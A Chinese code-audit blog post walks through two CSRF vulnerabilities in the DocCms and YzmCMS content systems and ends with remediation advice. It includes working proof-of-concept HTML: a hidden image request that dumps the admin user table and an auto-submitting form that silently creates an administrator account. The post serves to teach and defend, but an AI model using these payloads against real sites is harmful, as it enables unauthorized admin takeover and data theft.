专栏首页Bypass【代码审计】两个简单的CSRF漏洞实例

【代码审计】两个简单的CSRF漏洞实例

00

前言

CSRF(Cross-site request forgery)跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站,这边分享两个漏洞代码示例。

01

实例一:利用CSRF备份数据库

环境搭建:

DocCms官网:http://www.doccms.com

程序源码:DocCms2016

下载地址:https://pan.baidu.com/s/1pLclifL

代码分析:

在\doccms\admini\controllers\system\back.php中,

export函数直接对提交上来的参数tables/sizelimit进行处理,导出sql备份文件,未对访问来源进行有效验证,导致数据库备份模块存在CSRF漏洞。

漏洞利用:

1、构造CSRF漏洞利用代码,只备份管理员用户表doc_user:

<H2> CRSFTester</H2>

<img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=开始备份数据" width="0" height="0" border="0"/>

2、在网站首页在线留言提交CSRF漏洞利用代码:

3、当管理员在后台查看留言信息时,自动备份数据库到/doccms/temp/data目录下:

02

实例二:利用CSRF添加管理员

环境搭建:

YzmCMS官网:http://www.yzmcms.com

程序源码下载:http://pan.baidu.com/s/1pKA4u99

代码分析:

漏洞文件位置: /application/admin/controller/admin_manage.class.php第35-59行中:

这段函数中进行添加管理员操作,只进行管理员身份验证,未对访问来源进行识别,导致程序在实现上存在CSRF漏洞。

漏洞利用:

1、构造CSRF漏洞利用代码如下:

1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 
2.  
3. <html> 
4. <head> 
5. <title>OWASP CRSFTester Demonstration</title> 
6. </head> 
7. <body onload="javascript:fireForms()"> 
8. <script language="JavaScript"> 
9. var pauses = new Array( "68" );  
10.  
11. function pausecomp(millis)  
12. {  
13.     var date = new Date();  
14.     var curDate = null;  
15.  
16.     do { curDate = new Date(); }  
17.     while(curDate-date < millis);  
18. }  
19.  
20. function fireForms()  
21. {  
22.     var count = 1;  
23.     var i=0;  
24.  
25.     for(i=0; i<count; i++)  
26.     {  
27.         document.forms[i].submit();  
28.  
29.         pausecomp(pauses[i]);  
30.     }  
31. }  
32.  
33. </script> 
34. <H2>OWASP CRSFTester Demonstration</H2> 
35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html"> 
36. <input type="hidden" name="adminname" value="admin"/> 
37. <input type="hidden" name="password" value="abc123!"/> 
38. <input type="hidden" name="password2" value="abc123!"/> 
39. <input type="hidden" name="email" value=""/> 
40. <input type="hidden" name="realname" value=""/> 
41. <input type="hidden" name="roleid" value="1"/> 
42. <input type="hidden" name="dosubmit" value="1"/> 
43. </form> 
44. </body> 
45. </html> 

2、当管理员浏览该页面时,自动创建管理员账号admin

3、利用admin账号可成功登录后台进行任意操作。

03

修复建议

在服务端的防御,如验证HTTP Referer字段、在请求地址中添加token并验证、在HTTP头中自定义属性并验证。

04

END

不少CMS缺少对代码安全的考虑,CSRF仍然是一个普遍存在的安全问题。一些企业网站类型的CMS,利用CSRF备份数据、添加管理员等操作,都是很常见的漏洞场景。

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

本文分享自微信公众号 - Bypass(Bypass--),作者:Bypass

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-04-11

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 【代码审计】任意文件读取漏洞实例

    大多数网站都提供读取文件功能,一般实现过程是,根据参数filename的值,获得该文件在网站上的绝对路径,读取文件。 这里,通过两个任意文件读取漏洞实例...

    Bypass
  • 域渗透 | Kerberos攻击速查表

    使用ticket_converter.py在Linux / Windows格式之间转换tickets:

    Bypass
  • 如何处理那些杀软都清除不了的病毒

    作为一个运维工程师,而非一个专业的病毒分析工程师,遇到了比较复杂的病毒怎么办?别怕,虽然对二进制不熟,但是依靠系统运维的经验,我们可以用自己的方式来解决它。

    Bypass
  • C++之虚析构

    在继承的时候,父类的指针(或引用)可以指向(引用)子类的对象。如果子类有自己的指针属性,那么就需要将父类的析构函数声明为虚析构函数,否则通过父类指针(或者引用)...

    zy010101
  • python用户输入(三)

    name = "Li QW" #定义变量 fname = name  #fname等于name变量产生的值 print("My name is " , name...

    py3study
  • python学习笔记(三)-表单处理

    表单类 默认情况下,Flask-WTF能保护所有表单免受跨站请求伪造攻击(CSRF)

    py3study
  • 《Java从入门到放弃》框架入门篇:hibernate中的多表对应关系(二)

    十方上下
  • 前后端分离--MockJS模拟API返回数据

    其实,我们都知道前后端分离已经逐渐成为业界项目开发标准方式。在Web开发前后端不分离的时代,开发人员既要开发前端,还得开发后端,而且视图和业务逻辑混合在一起,这...

    逆月翎
  • 100 Days of SwiftUI —— Day 10:类

    最初,类看起来与结构体非常相似,因为我们使用它们来创建具有属性和方法的新数据类型。但是,它们引入了一个新的,重要的且复杂的功能,即继承——使一个类在另一个类的基...

    韦弦zhy
  • 干货 | 携程Mock本地化实践

    这里说的Mock指的是系统测试或者接口测试场景下,模拟被依赖的其他服务接口进行响应返回的工具。测试人员通过服务接口级Mock的手段隔绝真实外部依赖,创造可控、稳...

    携程技术

扫码关注云+社区

领取腾讯云代金券